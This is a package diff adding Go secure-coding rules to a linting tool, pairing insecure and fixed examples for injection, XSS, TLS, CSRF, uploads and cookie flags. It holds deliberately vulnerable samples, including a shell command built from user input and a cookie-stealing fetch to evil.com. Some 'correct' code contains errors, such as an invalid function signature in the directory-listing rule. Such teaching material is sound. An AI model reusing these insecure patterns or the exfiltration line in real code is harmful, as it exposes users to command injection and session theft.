@sun-asterisk/sunlint 1.3.39 → 1.3.41

package/skill-assets/sunlint-code-quality/rules/go/S020-eval-code-execution.md

@@ -0,0 +1,47 @@
+---
+title: Avoid Dynamic Code Execution
+impact: HIGH
+impactDescription: prevents remote code execution vulnerabilities
+tags: eval, code-execution, rce, injection, security
+---
+
+## Avoid Dynamic Code Execution
+
+Executing arbitrary strings as code is extremely dangerous. Attackers can run any code on your server. While Go doesn't have a native `eval()` function, similar risks exist with certain libraries or `os/exec`.
+
+**Incorrect (dynamic execution/dangerous OS calls):**
+
+```go
+// INSECURE: Executing user-provided command
+cmd := exec.Command("bash", "-c", r.URL.Query().Get("cmd"))
+cmd.Run()
+
+// INSECURE: Using a dangerous expression library with unsanitized input
+result, _ := govau.Eval(r.URL.Query().Get("formula")) 
+```
+
+**Correct (safe alternatives):**
+
+```go
+// Use switch/mapping for dynamic behavior
+var operations = map[string]func(int, int) int{
+    "add":      func(a, b int) int { return a + b },
+    "subtract": func(a, b int) int { return a - b },
+}
+
+opFunc, ok := operations[r.FormValue("op")]
+if !ok {
+    http.Error(w, "Invalid operation", 400)
+    return
+}
+result := opFunc(a, b)
+
+// Use safe parsers for math
+// import "github.com/Knetic/govaluate"
+expression, _ := govaluate.NewEvaluable("10 + x")
+parameters := make(map[string]interface{})
+parameters["x"] = 5
+result, _ := expression.Evaluate(parameters)
+```
+
+**Tools:** `gosec` (G204), Semgrep, Code Review

package/skill-assets/sunlint-code-quality/rules/go/S022-context-escaping.md

@@ -0,0 +1,49 @@
+---
+title: Escape Data By Output Context
+impact: MEDIUM
+impactDescription: ensures correct encoding for each output context
+tags: xss, escaping, context, encoding, security
+---
+
+## Escape Data By Output Context
+
+Different contexts require different escaping strategies. Using HTML encoding in a JavaScript context doesn't prevent XSS.
+
+**Incorrect (wrong encoding for context):**
+
+```go
+// Wrong: same escape for all contexts
+escaped := html.EscapeString(userInput)
+fmt.Fprintf(w, "<script>var x = '%s';</script>", escaped) // Still vulnerable!
+
+// Wrong: no header injection protection
+w.Header().Set("X-Custom", userInput) // Header injection!
+```
+
+**Correct (context-appropriate encoding):**
+
+```go
+import (
+    "encoding/json"
+    "html"
+    "net/url"
+    "strings"
+)
+
+// HTML content context
+fmt.Fprintf(w, "<p>%s</p>", html.EscapeString(userInput))
+
+// JavaScript context
+jsData, _ := json.Marshal(userInput)
+fmt.Fprintf(w, "<script>var x = %s;</script>", jsData)
+
+// URL parameter context
+urlParam := url.QueryEscape(userInput)
+http.Redirect(w, r, "/search?q="+urlParam, 302)
+
+// HTTP header context - strip CRLF
+safeHeader := strings.NewReplacer("\r", "", "\n", "").Replace(userInput)
+w.Header().Set("X-Custom", safeHeader)
+```
+
+**Tools:** `html/template` (handles context automatically), `gosec`

package/skill-assets/sunlint-code-quality/rules/go/S023-dynamic-js-encoding.md

@@ -0,0 +1,51 @@
+---
+title: Output Encoding For Dynamic JS/JSON
+impact: HIGH
+impactDescription: prevents injection in JavaScript contexts
+tags: xss, javascript, json, encoding, security
+---
+
+## Output Encoding For Dynamic JS/JSON
+
+Embedding user data in JavaScript or JSON requires proper encoding to prevent code injection.
+
+**Incorrect (unescaped data in JS):**
+
+```go
+// XSS in inline script
+func ProfileHandler(w http.ResponseWriter, r *http.Request) {
+    username := r.Context().Value("username").(string) // "</script><script>alert('xss')"
+    fmt.Fprintf(w, "<script>var user = '%s';</script>", username)
+}
+```
+
+**Correct (proper JSON encoding):**
+
+```go
+func ProfileHandler(w http.ResponseWriter, r *http.Request) {
+    user := struct {
+        Name string `json:"name"`
+    }{
+        Name: "User Name",
+    }
+    
+    // json.Marshal properly escapes special characters
+    safeData, _ := json.Marshal(user)
+    
+    fmt.Fprintf(w, `
+        <script>
+            var user = %s;
+        </script>
+    `, safeData)
+}
+
+// Using html/template (SAFE)
+tmpl := template.Must(template.New("profile").Parse(`
+    <script>
+        var user = {{.}};
+    </script>
+`))
+tmpl.Execute(w, user) // Automically encodes as JSON for JS context
+```
+
+**Tools:** `html/template`, `json.Marshal`

package/skill-assets/sunlint-code-quality/rules/go/S025-server-validation.md

@@ -0,0 +1,57 @@
+---
+title: Always Validate Client Data Server-side
+impact: MEDIUM
+impactDescription: ensures input validation cannot be bypassed
+tags: validation, server-side, input, sanitization, security
+---
+
+## Always Validate Client Data Server-side
+
+Client-side validation is for UX only - it can be bypassed easily. All input must be validated server-side.
+
+**Incorrect (trusting client validation):**
+
+```go
+// No server validation - trusting frontend
+func TransferHandler(w http.ResponseWriter, r *http.Request) {
+    amount, _ := strconv.Atoi(r.FormValue("amount"))
+    toAccount := r.FormValue("toAccount")
+    transferMoney(r.Context().Value("userId").(string), toAccount, amount)
+}
+```
+
+**Correct (comprehensive server validation):**
+
+```go
+import "github.com/go-playground/validator/v10"
+
+type TransferRequest struct {
+    Amount    int    `validate:"required,gt=0,lte=10000"`
+    ToAccount string `validate:"required,printascii,len=20"`
+}
+
+func TransferHandler(w http.ResponseWriter, r *http.Request) {
+    var req TransferRequest
+    // Parse and validate
+    if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+        http.Error(w, "Invalid request", 400)
+        return
+    }
+    
+    validate := validator.New()
+    if err := validate.Struct(req); err != nil {
+        http.Error(w, err.Error(), 400)
+        return
+    }
+    
+    // Additional business validation
+    if !accountExists(req.ToAccount) {
+        http.Error(w, "Account not found", 404)
+        return
+    }
+    
+    transferMoney(r.Context().Value("userId").(string), req.ToAccount, req.Amount)
+}
+```
+
+**Tools:** `go-playground/validator`, `ozzo-validation`, `asaskevich/govalidator`

package/skill-assets/sunlint-code-quality/rules/go/S026-tls-encryption.md

@@ -0,0 +1,46 @@
+---
+title: TLS Encryption For All Connections
+impact: CRITICAL
+impactDescription: protects data in transit from interception
+tags: tls, encryption, https, transport, security
+---
+
+## TLS Encryption For All Connections
+
+All network communications must use TLS to prevent eavesdropping and man-in-the-middle attacks.
+
+**Incorrect (unencrypted connections):**
+
+```go
+// HTTP instead of HTTPS
+http.Get("http://api.example.com/data")
+
+// Unencrypted database connection
+sql.Open("postgres", "host=db.example.com sslmode=disable")
+```
+
+**Correct (TLS everywhere):**
+
+```go
+// HTTPS for all external calls
+http.Get("https://api.example.com/data")
+
+// TLS for database
+sql.Open("postgres", "host=db.example.com sslmode=verify-full")
+
+// HSTS header in Go
+func hstsMiddleware(next http.Handler) http.Handler {
+    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+        w.Header().Set("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
+        next.ServeHTTP(w, r)
+    })
+}
+```
+
+**Requirements:**
+- All HTTP endpoints must redirect to HTTPS
+- Database connections must use TLS (verify-full)
+- Internal service-to-service calls (gRPC/HTTP) must use TLS
+- HSTS headers should be enabled
+
+**Tools:** `crypto/tls`, SSLyze, Qualys SSL Labs

package/skill-assets/sunlint-code-quality/rules/go/S027-mtls-validation.md

@@ -0,0 +1,52 @@
+---
+title: Validate mTLS Certificates Before Auth
+impact: CRITICAL
+impactDescription: ensures mutual authentication between services
+tags: mtls, certificates, authentication, service-mesh, security
+---
+
+## Validate mTLS Certificates Before Auth
+
+Mutual TLS ensures both parties are authenticated. Always validate client certificates before processing requests.
+
+**Incorrect (skipping certificate validation):**
+
+```go
+// Accepting any client certificate
+server := &http.Server{
+    TLSConfig: &tls.Config{
+        ClientAuth: tls.RequestClientCert, // Does NOT reject invalid certs
+    },
+}
+```
+
+**Correct (proper mTLS validation):**
+
+```go
+// Load CA cert
+caCert, _ := os.ReadFile("ca.crt")
+caCertPool := x509.NewCertPool()
+caCertPool.AppendCertsFromPEM(caCert)
+
+tlsConfig := &tls.Config{
+    ClientCAs:  caCertPool,
+    ClientAuth: tls.RequireAndVerifyClientCert, // Require AND Verify
+}
+
+server := &http.Server{
+    TLSConfig: tlsConfig,
+}
+
+// Additional validation in handler
+func handler(w http.ResponseWriter, r *http.Request) {
+    if len(r.TLS.PeerCertificates) > 0 {
+        cert := r.TLS.PeerCertificates[0]
+        if cert.Subject.CommonName != "trusted-service" {
+            http.Error(w, "Forbidden", 403)
+            return
+        }
+    }
+}
+```
+
+**Tools:** `crypto/tls`, `crypto/x509`, Service Mesh (Istio, Linkerd)

package/skill-assets/sunlint-code-quality/rules/go/S028-upload-limits.md

@@ -0,0 +1,58 @@
+---
+title: Limit Upload File Size And Count
+impact: MEDIUM
+impactDescription: prevents denial of service attacks
+tags: upload, file-size, dos, limits, security
+---
+
+## Limit Upload File Size And Count
+
+Unlimited uploads can exhaust disk space and memory, causing denial of service.
+
+**Incorrect (no limits):**
+
+```go
+func UploadHandler(w http.ResponseWriter, r *http.Request) {
+    r.ParseMultipartForm(32 << 20) // 32MB in memory, but no total limit
+    file, _, _ := r.FormFile("file")
+}
+```
+
+**Correct (enforce limits):**
+
+```go
+func UploadHandler(w http.ResponseWriter, r *http.Request) {
+    // 1. Limit total request body size
+    r.Body = http.MaxBytesReader(w, r.Body, 5<<20) // 5MB limit
+    
+    err := r.ParseMultipartForm(5 << 20)
+    if err != nil {
+        http.Error(w, "File too large or invalid request", http.StatusRequestEntityTooLarge)
+        return
+    }
+    
+    // 2. Validate file type
+    file, header, _ := r.FormFile("file")
+    buffer := make([]byte, 512)
+    file.Read(buffer)
+    contentType := http.DetectContentType(buffer)
+    
+    allowedTypes := map[string]bool{
+        "image/jpeg": true,
+        "image/png":  true,
+        "application/pdf": true,
+    }
+    
+    if !allowedTypes[contentType] {
+        http.Error(w, "Invalid file type", 400)
+        return
+    }
+}
+```
+
+**Recommended limits:**
+- Images: 5-10MB
+- Documents: 10-50MB
+- Max total request size: 100MB
+
+**Tools:** `http.MaxBytesReader`, NGINX `client_max_body_size`

package/skill-assets/sunlint-code-quality/rules/go/S029-csrf-protection.md

@@ -0,0 +1,53 @@
+---
+title: Apply CSRF Protection
+impact: HIGH
+impactDescription: prevents cross-site request forgery attacks
+tags: csrf, tokens, forms, security
+---
+
+## Apply CSRF Protection
+
+CSRF attacks force authenticated users to perform unintended actions in a web application in which they're currently authenticated.
+
+**Incorrect (no CSRF protection):**
+
+```html
+<!-- No CSRF token - vulnerable if using cookie-based auth -->
+<form action="/transfer" method="POST">
+  <input name="amount" value="1000">
+  <button>Transfer</button>
+</form>
+```
+
+**Correct (CSRF protection using gorilla/csrf):**
+
+```go
+import "github.com/gorilla/csrf"
+
+func main() {
+    CSRF := csrf.Protect([]byte("32-byte-long-auth-key"))
+    http.ListenAndServe(":8000", CSRF(r))
+}
+
+func TransferHandler(w http.ResponseWriter, r *http.Request) {
+    // Pass the token to the template
+    w.Header().Set("X-CSRF-Token", csrf.Token(r))
+    // r.FormValue("gorilla.csrf.Token") is also checked automatically
+}
+```
+
+```html
+<form action="/transfer" method="POST">
+  <!-- Use a hidden field for the token -->
+  <input type="hidden" name="gorilla.csrf.Token" value="{{ .csrfToken }}">
+  <input name="amount">
+  <button>Transfer</button>
+</form>
+```
+
+**Defense Depth:**
+- Use `SameSite=Strict` or `Lax` for cookies.
+- Use `Authorization: Bearer` (not cookies) for APIs.
+- Custom headers (e.g., `X-Requested-With`) for AJAX.
+
+**Tools:** `gorilla/csrf`, `nosurf`, SameSite cookies

package/skill-assets/sunlint-code-quality/rules/go/S030-directory-browsing.md

@@ -0,0 +1,53 @@
+---
+title: Disable Directory Browsing
+impact: MEDIUM
+impactDescription: prevents file enumeration
+tags: directory, listing, file-exposure, security
+---
+
+## Disable Directory Browsing
+
+Directory listing exposes file structure and potentially sensitive files.
+
+**Incorrect (directory listing enabled):**
+
+```go
+// http.FileServer enables directory listing by default 
+// if index.html is missing.
+http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("./public"))))
+```
+
+**Correct (directory listing disabled):**
+
+```go
+type neuteredFileSystem struct {
+    fs http.FileSystem
+}
+
+func (nfs neuteredFileSystem) Open(path string) (http.File(f), error) {
+    f, err := nfs.fs.Open(path)
+    if err != nil {
+        return nil, err
+    }
+
+    s, err := f.Stat()
+    if s.IsDir() {
+        index := filepath.Join(path, "index.html")
+        if _, err := nfs.fs.Open(index); err != nil {
+            closeErr := f.Close()
+            if closeErr != nil {
+                return nil, closeErr
+            }
+            return nil, err
+        }
+    }
+
+    return f, nil
+}
+
+// Usage
+fs := neuteredFileSystem{http.Dir("./public")}
+http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(fs)))
+```
+
+**Tools:** Web server configuration, Custom `FileSystem` implementation

package/skill-assets/sunlint-code-quality/rules/go/S031-secure-cookie-flag.md

@@ -0,0 +1,48 @@
+---
+title: Set Secure Flag On Session Cookies
+impact: HIGH
+impactDescription: prevents cookie theft over unencrypted connections
+tags: cookies, secure, https, session, security
+---
+
+## Set Secure Flag On Session Cookies
+
+Without the Secure flag, cookies can be sent over unencrypted HTTP connections.
+
+**Incorrect (no Secure flag):**
+
+```go
+cookie := &http.Cookie{
+    Name:  "session",
+    Value: token,
+}
+http.SetCookie(w, cookie) // No Secure flag!
+```
+
+**Correct (Secure flag set):**
+
+```go
+cookie := &http.Cookie{
+    Name:     "session",
+    Value:    token,
+    Secure:   true,     // HTTPS only
+    HttpOnly: true,
+    SameSite: http.SameSiteStrictMode,
+}
+http.SetCookie(w, cookie)
+```
+
+**Production enforcement:**
+
+```go
+isProduction := os.Getenv("ENV") == "production"
+
+cookie := &http.Cookie{
+    Name:     "session",
+    Value:    token,
+    Secure:   isProduction,
+    HttpOnly: true,
+}
+```
+
+**Tools:** `http.Cookie`, Security headers Audit

package/skill-assets/sunlint-code-quality/rules/go/S032-httponly-cookie.md

@@ -0,0 +1,42 @@
+---
+title: Set HttpOnly On Session Cookies
+impact: MEDIUM
+impactDescription: prevents cookie theft via XSS
+tags: cookies, httponly, xss, session, security
+---
+
+## Set HttpOnly On Session Cookies
+
+Without HttpOnly, JavaScript can read cookie values, enabling XSS attacks to steal sessions.
+
+**Incorrect (no HttpOnly):**
+
+```go
+cookie := &http.Cookie{
+    Name:  "session",
+    Value: token,
+}
+// Default HttpOnly is false
+```
+
+**Correct (HttpOnly set):**
+
+```go
+cookie := &http.Cookie{
+    Name:     "session",
+    Value:    token,
+    HttpOnly: true, // Not accessible to JavaScript
+    Secure:   true,
+}
+http.SetCookie(w, cookie)
+```
+
+**XSS attack example (prevented by HttpOnly):**
+
+```javascript
+// Attacker's XSS payload (blocked by HttpOnly)
+fetch('https://evil.com/steal?cookie=' + document.cookie);
+// With HttpOnly, session cookie is NOT in document.cookie
+```
+
+**Tools:** Browser DevTools, OWASP ZAP, `http.Cookie`

package/skill-assets/sunlint-code-quality/rules/go/S033-samesite-cookie.md

@@ -0,0 +1,49 @@
+---
+title: Set SameSite On Session Cookies
+impact: MEDIUM
+impactDescription: provides CSRF protection
+tags: cookies, samesite, csrf, session, security
+---
+
+## Set SameSite On Session Cookies
+
+SameSite attribute prevents cookies from being sent in cross-site requests, providing CSRF protection.
+
+**Incorrect (no SameSite):**
+
+```go
+cookie := &http.Cookie{
+    Name:  "session",
+    Value: token,
+}
+// Default SameSite might be 0 (none/browser default)
+```
+
+**Correct (SameSite set):**
+
+```go
+// Strict - most secure
+cookie := &http.Cookie{
+    Name:     "session",
+    Value:    token,
+    SameSite: http.SameSiteStrictMode,
+    HttpOnly: true,
+    Secure:   true,
+}
+
+// Lax - allows top-level navigation (clicking links)
+cookie := &http.Cookie{
+    Name:     "session",
+    Value:    token,
+    SameSite: http.SameSiteLaxMode,
+}
+```
+
+**SameSite options in Go:**
+- `http.SameSiteStrictMode`
+- `http.SameSiteLaxMode`
+- `http.SameSiteNoneMode` (requires `Secure: true`)
+
+**Recommended:** `http.SameSiteStrictMode` for session cookies.
+
+**Tools:** Browser DevTools, Security Scan

package/skill-assets/sunlint-code-quality/rules/go/S034-host-prefix-cookie.md

@@ -0,0 +1,44 @@
+---
+title: Use __Host- Prefix For Cookies
+impact: MEDIUM
+impactDescription: ensures cookie is domain-locked
+tags: cookies, prefix, domain, security
+---
+
+## Use __Host- Prefix For Cookies
+
+The `__Host-` prefix ensures cookies are only sent to the exact host, preventing subdomain attacks.
+
+**Incorrect (no prefix):**
+
+```go
+cookie := &http.Cookie{
+    Name:   "session",
+    Value:  token,
+    Secure: true,
+    Path:   "/",
+}
+// Cookie could be set by subdomain attacker
+```
+
+**Correct (__Host- prefix):**
+
+```go
+cookie := &http.Cookie{
+    Name:     "__Host-session",
+    Value:    token,
+    Secure:   true,
+    Path:     "/",
+    HttpOnly: true,
+    SameSite: http.SameSiteStrictMode,
+    // Domain must NOT be set for __Host-
+}
+```
+
+**__Host- requirements:**
+- Must have `Secure: true`
+- Must have `Path: "/"`
+- Must NOT have `Domain` attribute set
+- Cannot be set from a subdomain
+
+**Tools:** Browser DevTools, Security Audit